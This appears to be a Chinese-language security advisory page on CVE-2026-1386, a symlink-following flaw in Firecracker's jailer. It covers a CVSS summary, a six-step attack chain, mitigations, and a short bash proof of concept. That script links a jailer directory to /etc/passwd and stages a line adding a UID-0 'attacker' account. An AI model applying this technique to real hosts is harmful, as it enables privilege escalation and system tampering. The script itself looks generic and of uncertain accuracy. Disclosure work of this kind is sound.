IPBUF安全漏洞报告
English
CVE-2026-1386 CVSS 6.0 中危

CVE-2026-1386 Firecracker jailer组件符号链接跟随漏洞

披露日期: 2026-01-23
来源: ff89ba41-3aa1-4d27-914a-91399e9639e5

漏洞信息

漏洞编号
CVE-2026-1386
漏洞类型
符号链接跟随
CVSS评分
6.0 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Firecracker

相关标签

符号链接跟随Firecrackerjailer本地提权CVE-2026-1386文件覆盖虚拟化漏洞AWS无服务器安全

漏洞概述

CVE-2026-1386是Firecracker虚拟化软件中jailer组件存在的一个符号链接跟随(Symlink Following)安全漏洞。Firecracker是AWS开源的轻量级虚拟机监控器,广泛用于无服务器计算和容器化场景。该漏洞存在于jailer组件中,jailer负责在启动时设置隔离的运行环境。攻击者作为本地主机用户,若对预创建的jailer目录具有写访问权限,可以在jailer以root权限启动时,通过在初始化复制过程中利用符号链接指向任意主机文件,实现覆盖系统关键文件的目的。此漏洞可能导致系统完整性受损,攻击者可利用此漏洞进行权限提升或破坏系统关键配置。CVSS 3.1评分为6.0(中等),主要影响系统的完整性和可用性。

技术细节

该漏洞的核心问题在于Firecracker的jailer组件在处理初始化复制操作时未对符号链接进行安全验证。当jailer组件在启动过程中执行文件复制操作时,会跟随符号链接指向的目标路径,而攻击者可以事先在jailer工作目录中创建指向主机系统重要文件的符号链接。攻击条件包括:1)攻击者需为本地主机用户;2)对该预创建的jailer目录具有写权限;3)jailer必须以root权限执行。漏洞利用过程中,攻击者首先创建指向敏感主机文件(如/etc/passwd或系统配置文件)的符号链接,然后等待或触发jailer启动,jailer在初始化复制时会将数据写入符号链接指向的目标文件,从而实现对主机文件的任意修改或覆盖。该漏洞属于CWE-61(UNIX Symbolic Link Following)类别,攻击向量为本地访问,攻击复杂度低,无需用户交互。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标系统中运行的Firecracker实例及其jailer目录位置
STEP 2
步骤2
权限确认:确认攻击者具有对jailer预创建目录的写访问权限
STEP 3
步骤3
符号链接创建:在jailer目录中创建指向系统关键文件的符号链接(如/etc/passwd、/etc/shadow等)
STEP 4
步骤4
等待触发:等待jailer组件以root权限启动,或通过特定操作触发jailer初始化
STEP 5
步骤5
文件覆盖:jailer在初始化复制过程中跟随符号链接,将恶意内容写入目标主机文件
STEP 6
步骤6
权限提升/系统破坏:利用被覆盖的系统文件实现权限提升或造成系统不可用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-1386 PoC - Firecracker jailer symlink attack # Prerequisites: Local user with write access to jailer directories # Target: Firecracker v1.13.1 or earlier, v1.14.0 JAILER_DIR="/path/to/jailer/dir" TARGET_FILE="/etc/passwd" MALICIOUS_CONTENT="attacker:x:0:root:/root:/bin/bash\n" # Step 1: Create symlink to overwrite host file echo "[+] Creating malicious symlink..." ln -sf $TARGET_FILE $JAILER_DIR/malicious_link # Step 2: Prepare content to be copied cat > $JAILER_DIR/malicious_content << EOF $MALICIOUS_CONTENT EOF # Step 3: Wait for jailer to start (triggered by root user) echo "[!] Waiting for jailer initialization..." echo "[!] When jailer starts with root privileges, it will follow the symlink" echo "[!] and overwrite $TARGET_FILE with malicious content"

影响范围

Firecracker < v1.13.2
Firecracker v1.14.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)严格限制jailer目录的访问权限,确保只有受信任的管理员账户具有写权限;2)使用文件完整性监控工具(如AIDE、Tripwire)监控关键系统文件的变化;3)启用系统级的符号链接保护机制;4)考虑使用AppArmor或SELinux等强制访问控制框架限制Firecracker进程的权限范围;5)定期审计系统日志,检测异常的jailer启动行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表